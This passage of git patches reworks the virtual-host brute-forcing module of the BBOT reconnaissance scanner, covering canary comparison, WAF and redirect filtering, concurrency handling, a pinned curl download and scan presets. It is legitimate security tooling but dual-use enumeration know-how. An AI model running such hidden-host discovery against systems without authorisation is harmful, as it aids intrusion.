self.debug(f"SKIPPING {probe_host} - no valid HTTP response (status: {probe_status})") + return None - if not probe_result or probe_result["response_data"] == "": + # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist + if probe_status == 421: + self.debug(f"SKIPPING {probe_host} - got 421 Misdirected Request (SNI not configured)") return None - similarity = self.analyze_response(probe_host, probe_result, canary_status, canary_fingerprint) - if similarity is None: + # Check for 403 Forbidden - signal that the virtual host is rejected (unless we started with a 403) + if probe_status == 403 and canary_status != 403: + self.debug(f"SKIPPING {probe_host} - got 403 Forbidden when canary status was {canary_status}") return None - # If similarity is low (different from junk response), it's likely a valid virtual host - if similarity > self.SIMILARITY_THRESHOLD: + # Check for redirects back to original domain - indicates virtual host just redirects to canonical + if probe_status in [301, 302]: + redirect_url = probe_response.get("redirect_url", "") + if str(event.parsed_url.netloc) in redirect_url: + self.critical(f"SKIPPING {probe_host} - redirects back to original domain {event.parsed_url.netloc}") + return None + + waf_strings = self.helpers.get_waf_strings() + if any(waf_string in probe_response["response_data"] for waf_string in waf_strings): + self.critical(f"SKIPPING {probe_host} - got WAF response") return None - virtualhost_dict = { - "host": str(event.host), - "url": host, - "virtual_host": probe_host, - "discovery_technique": discovery_string, - "ip": host_ip, - } + # Calculate content similarity to canary (junk response) + similarity = self.get_content_similarity(canary_response, probe_response) - # Don't emit if this would be the same as the original netloc - if probe_host != event.parsed_url.netloc: - await self.emit_event( - virtualhost_dict, - "VIRTUAL_HOST", - parent=event, - context=f"{{module}} discovered virtual host via SNI brute-force for {event.data} and found {{event.type}}: {probe_host} (similarity: {similarity:.2%})", + # Debug logging only when we think we found a match + if similarity <= self.SIMILARITY_THRESHOLD: + self.critical( + f"POTENTIAL MATCH DEBUG: {probe_host} vs canary = {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD})" ) + self.critical(f"PROBE STATUS: {probe_status}") + self.critical(f"CANARY STATUS: {canary_status}") - if skip_dns_host is False: - await self.emit_event( - virtualhost_dict["virtual_host"], - "DNS_NAME", - parent=event, - tags=["virtual-host"], - context="{module} discovered a DNS name during the process of conducting a SNI brute-force for {event.data} and found {event.type}: {event.data}", - ) + return similarity - else: - self.debug(f"SKIPPING {probe_host} - same as original netloc") + def get_content_similarity(self, canary_response, probe_response): + # Create fast hashes for cache key using xxHash + import xxhash - def get_content_fingerprint(self, content): - """Extract a representative fingerprint from content (from waf_bypass)""" - if not content: - return None + canary_data = canary_response["response_data"] + probe_data = probe_response["response_data"] + + canary_hash = xxhash.xxh64(canary_data.encode() if isinstance(canary_data, str) else canary_data).hexdigest() + probe_hash = xxhash.xxh64(probe_data.encode() if isinstance(probe_data, str) else probe_data).hexdigest() + + # Create cache key (order-independent) + cache_key = tuple(sorted([canary_hash, probe_hash])) + + # Check cache first + if cache_key in self.similarity_cache: + return self.similarity_cache[cache_key] + + # Calculate similarity + similarity = fuzz.ratio(canary_data, probe_data) / 100.0 + + # Cache the result + self.similarity_cache[cache_key] = similarity + + return similarity + + async def _verify_canary(self, event, original_canary_response, canary_mode, basehost, host_ip): + """Re-test the canary to make sure it's still consistent before emission""" + is_https = event.parsed_url.scheme == "https" + normalized_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" - content_len = len(content) - if content_len <= 1500: - return content # If content is small enough, just return it all + # Re-run the same canary test as we did initially + try: + current_canary_response = await self._get_canary_response( + normalized_url, basehost, host_ip, is_https, mode=canary_mode + ) + except CurlError as e: + self.warning(f"Canary verification failed due to curl error: {e}") + return False + + self.hugesuccess(f"GOT CANARY RESPONSE FOR {normalized_url}") + self.hugesuccess(f"CANARY RESPONSE CODE: {current_canary_response['http_code']}") + self.hugesuccess(f"CANARY RESPONSE LENGTH: {len(current_canary_response['response_data'])}") + + if not current_canary_response: + return False - start = content[:500] - mid_start = max(0, (content_len // 2) - 250) - middle = content[mid_start : mid_start + 500] - end = content[-500:] + # Check if HTTP codes are different first (hard failure) + if original_canary_response["http_code"] != current_canary_response["http_code"]: + self.hugeinfo( + f"CANARY CHANGED: HTTP CODE: {original_canary_response['http_code']} -> {current_canary_response['http_code']}" + ) + self.hugeinfo( + f"CANARY CHANGED: RESPONSE DATA: {len(original_canary_response['response_data'])} -> {len(current_canary_response['response_data'])}" + ) + return False - return start + middle + end + # Fast path: if response data is exactly the same, we're good + if original_canary_response["response_data"] == current_canary_response["response_data"]: + return True - def get_content_similarity(self, fingerprint1, fingerprint2): - """Get similarity ratio between two content fingerprints (from waf_bypass)""" - if not fingerprint1 or not fingerprint2: - return 0.0 - from difflib import SequenceMatcher + # Fallback: use similarity comparison for response data (allows slight differences) + similarity = self.get_content_similarity(original_canary_response, current_canary_response) + if similarity < self.SIMILARITY_THRESHOLD: + self.hugeinfo( + f"CANARY CHANGED: Response similarity {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD}" + ) + return False - return SequenceMatcher(None, fingerprint1, fingerprint2).ratio() + return True + + def _extract_title(self, response_data): + """Extract title from HTML response""" + soup = self.helpers.beautifulsoup(response_data, "html.parser") + if soup and soup.title and soup.title.string: + return soup.title.string.strip() + return None + + def _build_description(self, discovery_string, probe_response): + """Build detailed description with discovery technique and content info""" + http_code = probe_response.get("http_code", "N/A") + response_size = len(probe_response.get("response_data", "")) + + description = f"Discovery Technique: [{discovery_string}], Discovered Content: [Status Code: {http_code}]" + + # Add title if available + title = self._extract_title(probe_response.get("response_data", "")) + if title: + description += f" [Title: {title}]" + description += f" [Size: {response_size} bytes]" + + return description def mutations_check(self, virtualhost): mutations_list = [] - for mutation in self.helpers.word_cloud.mutations(virtualhost): + for mutation in self.helpers.word_cloud.mutations(virtualhost, cloud=False): mutations_list.extend(["".join(mutation), "-".join(mutation)]) mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False) return mutations_list_file async def finish(self): - # check existing hosts with wordcloud + # phase 5: check existing hosts with wordcloud + if not self.config.get("wordcloud_check", True): + self.debug("Wordcloud check is disabled, skipping finish phase") + return + if not self.helpers.word_cloud.keys(): self.debug("No wordcloud data available for finish phase") return tempfile = self.helpers.tempfile(list(self.helpers.word_cloud.keys()), pipe=False) - self.verbose(f"=== FINISH PHASE: Starting wordcloud mutations on {len(self.scanned_hosts)} hosts ===") - self.debug(f"Using {len(list(self.helpers.word_cloud.keys()))} words from wordcloud") + self.hugeinfo(f"=== Starting wordcloud mutations on {len(self.scanned_hosts)} hosts ===") + self.hugeinfo(f"Using {len(list(self.helpers.word_cloud.keys()))} words from wordcloud") for host, event in self.scanned_hosts.items(): if host not in self.wordcloud_tried_hosts: @@ -568,33 +765,27 @@ async def finish(self): # Get fresh canary and original response for this host is_https = event.parsed_url.scheme == "https" - - original_response = await self.helpers.web.curl(url=event.data) - if not original_response: - self.debug(f"Failed to get original response for {event.data} in finish phase, skipping") - continue - - canary_status, canary_fingerprint = await self._get_canary_fingerprint( - host, original_response, next(iter(event.resolved_hosts)), is_https - ) - if not canary_fingerprint: - self.debug(f"Failed to setup canary for {host} in finish phase, skipping") - continue + host_ip = next(iter(event.resolved_hosts)) await self._run_virtualhost_phase( "Target host wordcloud mutations", host, f".{basehost}", + host_ip, + is_https, event, - canary_status, - canary_fingerprint, - original_response, + "random", wordlist=tempfile, ) self.wordcloud_tried_hosts.add(host) async def filter_event(self, event): - if "cdn-cloudflare" in event.tags or "cdn-imperva" in event.tags or "cdn-akamai" in event.tags: + if ( + "cdn-cloudflare" in event.tags + or "cdn-imperva" in event.tags + or "cdn-akamai" in event.tags + or "cdn-cloudfront" in event.tags + ): self.debug(f"Not processing URL {event.data} because it's behind a WAF or CDN, and that's pointless") return False return True From f04c4867126511817ada869b4a09d0664c0aebeb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 2 Sep 2025 16:07:59 -0400 Subject: [PATCH 015/129] changes to as_completed --- bbot/core/helpers/misc.py | 85 ++++++++++++------------------------- bbot/modules/virtualhost.py | 4 +- 2 files changed, 30 insertions(+), 59 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 8ca2fcc94f..9a50ffee79 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -11,9 +11,11 @@ import regex as re import subprocess as sp + from pathlib import Path from contextlib import suppress from unidecode import unidecode # noqa F401 +from typing import Iterable, Awaitable, Optional from asyncio import create_task, gather, sleep, wait_for # noqa from urllib.parse import urlparse, quote, unquote, urlunparse, urljoin # noqa F401 @@ -2589,69 +2591,38 @@ def parse_port_string(port_string): return ports -async def as_completed(coros): - """ - Async generator that yields completed Tasks as they are completed. - - Args: - coros (iterable): An iterable of coroutine objects or asyncio Tasks. - - Yields: - asyncio.Task: A Task object that has completed its execution. - - Examples: - >>> async def main(): - ... async for task in as_completed([coro1(), coro2(), coro3()]): - ... result = task.result() - ... print(f'Task completed with result: {result}') - - >>> asyncio.run(main()) - """ - tasks = {coro if isinstance(coro, asyncio.Task) else asyncio.create_task(coro): coro for coro in coros} - while tasks: - done, _ = await asyncio.wait(tasks.keys(), return_when=asyncio.FIRST_COMPLETED) - for task in done: - tasks.pop(task) - yield task - - -async def as_completed_with_limit(coros, max_concurrent): +async def as_completed( + awaitables: Iterable[Awaitable], + max_concurrent: Optional[int] = None, +): """ - Async generator that yields completed Tasks as they are completed, with concurrency control. - - Args: - coros (iterable): An iterable of coroutine objects (NOT Tasks). - max_concurrent (int): Maximum number of concurrent tasks. - - Yields: - asyncio.Task: A Task object that has completed its execution. - - Examples: - >>> async def main(): - ... # Limit to 5 concurrent tasks - ... async for task in as_completed_with_limit([coro1(), coro2(), coro3()], max_concurrent=5): - ... result = task.result() - ... print(f'Task completed with result: {result}') - - >>> asyncio.run(main()) + Yield Task objects as they finish. If given coroutines, they are scheduled. + If given preexisting Tasks, they are used as-is. Concurrency limiting applies + only to coroutines that are scheduled here (existing Tasks may already be running). """ - semaphore = asyncio.Semaphore(max_concurrent) + it = iter(awaitables) - async def _semaphore_wrapper(coro): - """Wrap a coroutine with semaphore control""" - async with semaphore: - # Execute the coroutine while holding the semaphore - return await coro + def to_task(a): + return a if isinstance(a, asyncio.Task) else asyncio.create_task(a) - # Wrap all coroutines with semaphore control and create tasks - wrapped_tasks = [asyncio.create_task(_semaphore_wrapper(coro)) for coro in coros] + # Prime the running set up to the concurrency limit (or all, if unlimited) + running = set() + limit = max_concurrent or float("inf") + try: + while len(running) < limit: + running.add(to_task(next(it))) + except StopIteration: + pass - # Use the standard as_completed logic on wrapped tasks - tasks = {task: task for task in wrapped_tasks} - while tasks: - done, _ = await asyncio.wait(tasks.keys(), return_when=asyncio.FIRST_COMPLETED) + # Drain: yield completed tasks, backfill from the iterator as slots free up + while running: + done, running = await asyncio.wait(running, return_when=asyncio.FIRST_COMPLETED) for task in done: - tasks.pop(task) + # Immediately backfill one slot per completed task, if more work remains + try: + running.add(to_task(next(it))) + except StopIteration: + pass yield task diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 13743c9eac..e8f36e78d1 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -482,7 +482,7 @@ async def curl_virtualhost( # Process results as they complete with concurrency control try: - async for completed in self.helpers.as_completed_with_limit(coros, self.max_concurrent): + async for completed in self.helpers.as_completed(coros, self.max_concurrent): try: result = completed.result() if result == "CURLERROR_STOP": @@ -494,7 +494,7 @@ async def curl_virtualhost( self.critical(f"Unexpected exception during virtual host testing: {type(e).__name__}: {e}") return [] except CurlError as e: - self.critical(f"CurlError in as_completed_with_limit, stopping all tests: {e}") + self.critical(f"CurlError in as_completed, stopping all tests: {e}") return [] # Final safeguard: check result count From 1d16b49abfba7424a0304ee4067d18206153fcb2 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 2 Sep 2025 16:57:44 -0400 Subject: [PATCH 016/129] pinned curl --- bbot/core/helpers/web/web.py | 6 +++++- bbot/core/shared_deps.py | 25 +++++++++++++++++++++++++ bbot/modules/generic_ssrf.py | 2 ++ bbot/modules/host_header.py | 2 +- bbot/modules/virtualhost.py | 1 + 5 files changed, 34 insertions(+), 2 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 5e70498f24..e14dc23696 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -340,7 +340,11 @@ async def curl(self, *args, **kwargs): if not url: raise CurlError("No URL supplied to CURL helper") - curl_command = ["curl", url, "-s"] + # Use BBOT-specific curl binary + bbot_curl = self.parent_helper.tools_dir / "curl" + if not bbot_curl.exists(): + raise CurlError(f"BBOT curl binary not found at {bbot_curl}. Run dependency installation.") + curl_command = [str(bbot_curl), url, "-s"] raw_path = kwargs.get("raw_path", False) if raw_path: diff --git a/bbot/core/shared_deps.py b/bbot/core/shared_deps.py index 013a8b4d67..eaf62b738d 100644 --- a/bbot/core/shared_deps.py +++ b/bbot/core/shared_deps.py @@ -173,6 +173,31 @@ }, ] +DEP_CURL = [ + { + "name": "Download static curl binary (v8.11.0)", + "get_url": { + "url": "https://github.com/moparisthebest/static-curl/releases/download/v8.11.0/curl-amd64", + "dest": "#{BBOT_TOOLS}/curl", + "mode": "0755", + "force": True, + }, + }, + { + "name": "Ensure curl binary is executable", + "file": { + "path": "#{BBOT_TOOLS}/curl", + "mode": "0755", + }, + }, + { + "name": "Verify curl binary works", + "command": "#{BBOT_TOOLS}/curl --version", + "register": "curl_version_output", + "changed_when": False, + }, +] + DEP_MASSCAN = [ { "name": "install os deps (Debian)", diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py index 50337dee50..3eb3202f9f 100644 --- a/bbot/modules/generic_ssrf.py +++ b/bbot/modules/generic_ssrf.py @@ -39,6 +39,8 @@ class BaseSubmodule: severity = "INFO" paths = [] + deps_common = ["curl"] + def __init__(self, generic_ssrf): self.generic_ssrf = generic_ssrf self.test_paths = self.create_paths() diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index 026740d144..a90b5d7f47 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -15,7 +15,7 @@ class host_header(BaseModule): in_scope_only = True per_hostport_only = True - deps_apt = ["curl"] + deps_common = ["curl"] async def setup(self): self.subdomain_tags = {} diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index e8f36e78d1..f9ccf0df4c 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -12,6 +12,7 @@ class virtualhost(BaseModule): meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} deps_pip = ["rapidfuzz", "xxhash"] + deps_common = ["curl"] SIMILARITY_THRESHOLD = 0.75 CANARY_LENGTH = 12 From 7c32cb10275cc4906003c6b58437ddbd0b57d3be Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 2 Sep 2025 17:07:01 -0400 Subject: [PATCH 017/129] fix missing arg --- bbot/modules/virtualhost.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index f9ccf0df4c..f6e053f31f 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -19,9 +19,9 @@ class virtualhost(BaseModule): special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] options = { - "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", + "brute_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", "force_basehost": "", - "lines": 2000, + "brutelines": 2000, "subdomain_brute": False, "mutation_check": True, "special_hosts": True, @@ -32,9 +32,9 @@ class virtualhost(BaseModule): "wordcloud_check": True, } options_desc = { - "wordlist": "Wordlist containing subdomains", + "brute_wordlist": "Wordlist containing subdomains", "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", - "lines": "take only the first N lines from the wordlist when finding directories", + "brute_lines": "take only the first N lines from the wordlist when finding directories", "subdomain_brute": "Enable subdomain brute-force on target host", "mutation_check": "Enable mutations check on target host", "special_hosts": "Enable testing of special virtual host list (localhost, etc.)", @@ -51,7 +51,7 @@ async def setup(self): self.max_concurrent = self.config.get("max_concurrent_requests", 80) self.scanned_hosts = {} self.wordcloud_tried_hosts = set() - self.wordlist = await self.helpers.wordlist(self.config.get("wordlist"), lines=self.config.get("lines", 5000)) + self.brute_wordlist = await self.helpers.wordlist(self.config.get("brute_wordlist"), lines=self.config.get("brute_lines", 2000)) self.similarity_cache = {} # Cache for similarity results return await super().setup() @@ -91,6 +91,8 @@ async def handle_event(self, event): "Target host Subdomain Brute-force", normalized_url, f".{basehost}", + host_ip, + is_https, event, "subdomain", with_mutations=True, From 344786612c04bec72ea14c09c69ecf3d0e020fc8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 2 Sep 2025 17:11:35 -0400 Subject: [PATCH 018/129] finish rename --- bbot/modules/virtualhost.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index f6e053f31f..0e4689da1a 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -432,7 +432,7 @@ async def curl_virtualhost( skip_dns_host=False, ): if wordlist is None: - wordlist = self.wordlist + wordlist = self.brute_wordlist # Get baseline host for comparison and determine scheme from event baseline_host = event.parsed_url.netloc From 0d985315fe52fd698bf2e91d7fb7a5b61e2cb64a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 2 Sep 2025 19:43:02 -0400 Subject: [PATCH 019/129] small refactor --- bbot/modules/virtualhost.py | 58 +++++++++++++++++-------------------- 1 file changed, 27 insertions(+), 31 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 0e4689da1a..50b50e8732 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -51,7 +51,9 @@ async def setup(self): self.max_concurrent = self.config.get("max_concurrent_requests", 80) self.scanned_hosts = {} self.wordcloud_tried_hosts = set() - self.brute_wordlist = await self.helpers.wordlist(self.config.get("brute_wordlist"), lines=self.config.get("brute_lines", 2000)) + self.brute_wordlist = await self.helpers.wordlist( + self.config.get("brute_wordlist"), lines=self.config.get("brute_lines", 2000) + ) self.similarity_cache = {} # Cache for similarity results return await super().setup() @@ -82,7 +84,6 @@ async def handle_event(self, event): return None self.hugesuccess(f"VIRTUAL HOST WILDCARD CHECK PASSED FOR {normalized_url}") - self.hugesuccess(f"GOT SUBDOMAIN CANARY RESPONSE FOR {normalized_url}") # Phase 1: Main virtual host bruteforce if self.config.get("subdomain_brute", True): @@ -279,21 +280,6 @@ async def _is_host_accessible(self, url): self.critical(f"Error checking accessibility of {url}: {e}") return False - async def _should_skip_accessible_host(self, probe_host, event): - """ - Check if we should skip this virtual host because it's externally accessible. - Returns True if we should skip it, False if we should report it. - """ - if self.config.get("require_inaccessible", True): - # We DO the check - if it's accessible, skip it - probe_url = f"{event.parsed_url.scheme}://{probe_host}/" - if await self._is_host_accessible(probe_url): - self.hugewarning(f"Skipping virtual host {probe_host} - externally accessible") - return True - - # Either we don't do the check (require_inaccessible=False) or it's not accessible - return False - async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, probe_response): """Change one char in probe_host and test - if responses are similar, it's probably a wildcard""" @@ -359,7 +345,7 @@ async def _run_virtualhost_phase( if not canary_response: self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") - return None + return [] # Main discovery phase results = await self.curl_virtualhost( @@ -398,7 +384,7 @@ async def _run_virtualhost_phase( self.critical( f"Found {len(results)} virtual hosts (limit: {max_results}), likely false positives - rejecting all results" ) - return + return [] # Emit all valid results for virtual_host_data in results: @@ -506,7 +492,7 @@ async def curl_virtualhost( self.critical( f"Found {len(virtual_host_results)} virtual hosts (limit: {max_results}), likely false positives - rejecting all results" ) - return + return [] # Return results for emission at _run_virtualhost_phase level return virtual_host_results @@ -573,18 +559,23 @@ async def _test_virtualhost( f"Canary consistency verified for {probe_host}. Still has code of {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" ) - virtualhost_dict = { - "host": str(event.host), - "url": host, - "virtual_host": probe_host, - "description": self._build_description(discovery_method, probe_response), - "ip": host_ip, - } - # Don't emit if this would be the same as the original netloc if probe_host != event.parsed_url.netloc: - # Optional: Check if this virtual host is externally accessible before reporting it - if await self._should_skip_accessible_host(probe_host, event): + # Check if this virtual host is externally accessible + probe_url = f"{event.parsed_url.scheme}://{probe_host}/" + is_externally_accessible = await self._is_host_accessible(probe_url) + + virtualhost_dict = { + "host": str(event.host), + "url": host, + "virtual_host": probe_host, + "description": self._build_description(discovery_method, probe_response, is_externally_accessible), + "ip": host_ip, + } + + # Skip if we require inaccessible hosts and this one is accessible + if self.config.get("require_inaccessible", True) and is_externally_accessible: + self.hugewarning(f"Skipping virtual host {probe_host} - externally accessible") return None # Return data for emission at _run_virtualhost_phase level @@ -721,7 +712,7 @@ def _extract_title(self, response_data): return soup.title.string.strip() return None - def _build_description(self, discovery_string, probe_response): + def _build_description(self, discovery_string, probe_response, is_externally_accessible=None): """Build detailed description with discovery technique and content info""" http_code = probe_response.get("http_code", "N/A") response_size = len(probe_response.get("response_data", "")) @@ -734,6 +725,11 @@ def _build_description(self, discovery_string, probe_response): description += f" [Title: {title}]" description += f" [Size: {response_size} bytes]" + # Add accessibility information if available + if is_externally_accessible is not None: + accessibility_status = "externally accessible" if is_externally_accessible else "not externally accessible" + description += f" [Access: {accessibility_status}]" + return description def mutations_check(self, virtualhost): From eb9320129c98a31474fd85eb135dd3a1b908a8ed Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 2 Sep 2025 23:12:04 -0400 Subject: [PATCH 020/129] fix async handling --- bbot/modules/virtualhost.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 50b50e8732..f896c22417 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -473,7 +473,7 @@ async def curl_virtualhost( try: async for completed in self.helpers.as_completed(coros, self.max_concurrent): try: - result = completed.result() + result = await completed if result == "CURLERROR_STOP": self.critical("Received CurlError signal, stopping all tests") return [] From 84c0f8ef5670e7af1593fe794f9ab926dcce857c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Sep 2025 10:37:56 -0400 Subject: [PATCH 021/129] presets and other adjustments --- bbot/modules/virtualhost.py | 19 +++++++------------ bbot/presets/web/virtualhost-heavy.yml | 16 ++++++++++++++++ bbot/presets/web/virtualhost-light.yml | 16 ++++++++++++++++ 3 files changed, 39 insertions(+), 12 deletions(-) create mode 100644 bbot/presets/web/virtualhost-heavy.yml create mode 100644 bbot/presets/web/virtualhost-light.yml diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index f896c22417..f3c5e3d5bb 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -28,7 +28,6 @@ class virtualhost(BaseModule): "certificate_sans": True, "max_concurrent_requests": 80, "require_inaccessible": True, - "canary_mode": "subdomain", "wordcloud_check": True, } options_desc = { @@ -42,7 +41,6 @@ class virtualhost(BaseModule): "wordcloud_check": "Enable check using scan-wide wordcloud data on target host", "max_concurrent_requests": "Maximum number of concurrent virtual host requests", "require_inaccessible": "Only test virtual hosts that are not directly accessible (for discovering hidden content)", - "canary_mode": "Canary generation mode: 'subdomain' (default, adds random subdomain) or 'mutation' (mutates existing host)", } in_scope_only = True @@ -474,14 +472,11 @@ async def curl_virtualhost( async for completed in self.helpers.as_completed(coros, self.max_concurrent): try: result = await completed - if result == "CURLERROR_STOP": - self.critical("Received CurlError signal, stopping all tests") - return [] - elif result: + if result: # Only append non-None results virtual_host_results.append(result) except Exception as e: self.critical(f"Unexpected exception during virtual host testing: {type(e).__name__}: {e}") - return [] + # Continue processing other tasks instead of stopping everything except CurlError as e: self.critical(f"CurlError in as_completed, stopping all tests: {e}") return [] @@ -498,12 +493,12 @@ async def curl_virtualhost( return virtual_host_results async def _safe_test_virtualhost(self, *args, **kwargs): - """Wrapper that catches CurlError and returns signal instead of raising""" + """Wrapper that catches CurlError and returns None instead of raising""" try: return await self._test_virtualhost(*args, **kwargs) except CurlError as e: - self.critical(f"CurlError in virtualhost test: {e}") - return "CURLERROR_STOP" + self.warning(f"CurlError in virtualhost test (skipping this test): {e}") + return None async def _test_virtualhost( self, @@ -614,12 +609,12 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): if probe_status in [301, 302]: redirect_url = probe_response.get("redirect_url", "") if str(event.parsed_url.netloc) in redirect_url: - self.critical(f"SKIPPING {probe_host} - redirects back to original domain {event.parsed_url.netloc}") + self.debug(f"SKIPPING {probe_host} - redirects back to original domain {event.parsed_url.netloc}") return None waf_strings = self.helpers.get_waf_strings() if any(waf_string in probe_response["response_data"] for waf_string in waf_strings): - self.critical(f"SKIPPING {probe_host} - got WAF response") + self.debug(f"SKIPPING {probe_host} - got WAF response") return None # Calculate content similarity to canary (junk response) diff --git a/bbot/presets/web/virtualhost-heavy.yml b/bbot/presets/web/virtualhost-heavy.yml new file mode 100644 index 0000000000..f195a6591a --- /dev/null +++ b/bbot/presets/web/virtualhost-heavy.yml @@ -0,0 +1,16 @@ +description: Scan heavily for virtual hosts, with a focus on discovering as many valid virtual hosts as possible + +modules: + - httpx + - virtualhost + +config: + modules: + virtualhost: + require_inaccessible: False + wordcloud_check: True + subdomain_brute: True + mutation_check: True + special_hosts: True + certificate_sans: True + diff --git a/bbot/presets/web/virtualhost-light.yml b/bbot/presets/web/virtualhost-light.yml new file mode 100644 index 0000000000..70f5fcde40 --- /dev/null +++ b/bbot/presets/web/virtualhost-light.yml @@ -0,0 +1,16 @@ +description: Scan for virtual hosts, with a focus on hidden normally not accessible content + +modules: + - httpx + - virtualhost + +config: + modules: + virtualhost: + require_inaccessible: True + wordcloud_check: False + subdomain_brute: False + mutation_check: True + special_hosts: False + certificate_sans: True + From ef1674fe4be1146b37b3523cdfd1e6c9eb5020c2 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Sep 2025 13:04:06 -0400 Subject: [PATCH 022/129] change as_completed to only accept coros --- bbot/core/helpers/misc.py | 18 ++++++++---------- bbot/modules/baddns.py | 28 ++++++++++++++++++---------- bbot/modules/sslcert.py | 6 +++--- bbot/modules/virtualhost.py | 1 - 4 files changed, 29 insertions(+), 24 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 9a50ffee79..3d35871271 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2592,25 +2592,22 @@ def parse_port_string(port_string): async def as_completed( - awaitables: Iterable[Awaitable], + coroutines: Iterable[Awaitable], max_concurrent: Optional[int] = None, ): """ - Yield Task objects as they finish. If given coroutines, they are scheduled. - If given preexisting Tasks, they are used as-is. Concurrency limiting applies - only to coroutines that are scheduled here (existing Tasks may already be running). + Yield completed coroutines as they finish with optional concurrency limiting. + All coroutines are scheduled as tasks internally for execution. """ - it = iter(awaitables) - - def to_task(a): - return a if isinstance(a, asyncio.Task) else asyncio.create_task(a) + it = iter(coroutines) # Prime the running set up to the concurrency limit (or all, if unlimited) running = set() limit = max_concurrent or float("inf") try: while len(running) < limit: - running.add(to_task(next(it))) + coro = next(it) + running.add(asyncio.create_task(coro)) except StopIteration: pass @@ -2620,7 +2617,8 @@ def to_task(a): for task in done: # Immediately backfill one slot per completed task, if more work remains try: - running.add(to_task(next(it))) + coro = next(it) + running.add(asyncio.create_task(coro)) except StopIteration: pass yield task diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 83a8eabf9b..903cd8afe0 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -2,7 +2,6 @@ from baddns.lib.loader import load_signatures from .base import BaseModule -import asyncio import logging @@ -54,8 +53,17 @@ async def setup(self): self.debug(f"Enabled BadDNS Submodules: [{','.join(self.enabled_submodules)}]") return True + async def _run_module(self, module_instance): + """Wrapper coroutine that runs a module and returns both the module and result""" + try: + result = await module_instance.dispatch() + return module_instance, result + except Exception as e: + self.warning(f"Task for {module_instance} raised an error: {e}") + return module_instance, None + async def handle_event(self, event): - tasks = [] + coroutines = [] for ModuleClass in self.select_modules(): kwargs = { "http_client_class": self.scan.helpers.web.AsyncClient, @@ -70,16 +78,16 @@ async def handle_event(self, event): kwargs["raw_query_retry_wait"] = 0 module_instance = ModuleClass(event.data, **kwargs) - task = asyncio.create_task(module_instance.dispatch()) - tasks.append((module_instance, task)) + # Create wrapper coroutine that includes the module instance + coroutine = self._run_module(module_instance) + coroutines.append(coroutine) - async for completed_task in self.helpers.as_completed([task for _, task in tasks]): - module_instance = next((m for m, t in tasks if t == completed_task), None) + async for completed_coro in self.helpers.as_completed(coroutines): try: - task_result = await completed_task + module_instance, task_result = await completed_coro except Exception as e: - self.warning(f"Task for {module_instance} raised an error: {e}") - task_result = None + self.warning(f"Wrapper coroutine raised an error: {e}") + continue if task_result: results = module_instance.analyze() @@ -134,4 +142,4 @@ async def handle_event(self, event): tags=[f"baddns-{module_instance.name.lower()}"], context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {{event.data}}', ) - await module_instance.cleanup() + await module_instance.cleanup() diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py index 814068f03f..c2c6ce934e 100644 --- a/bbot/modules/sslcert.py +++ b/bbot/modules/sslcert.py @@ -63,9 +63,9 @@ async def handle_event(self, event): else: abort_threshold = self.out_of_scope_abort_threshold - tasks 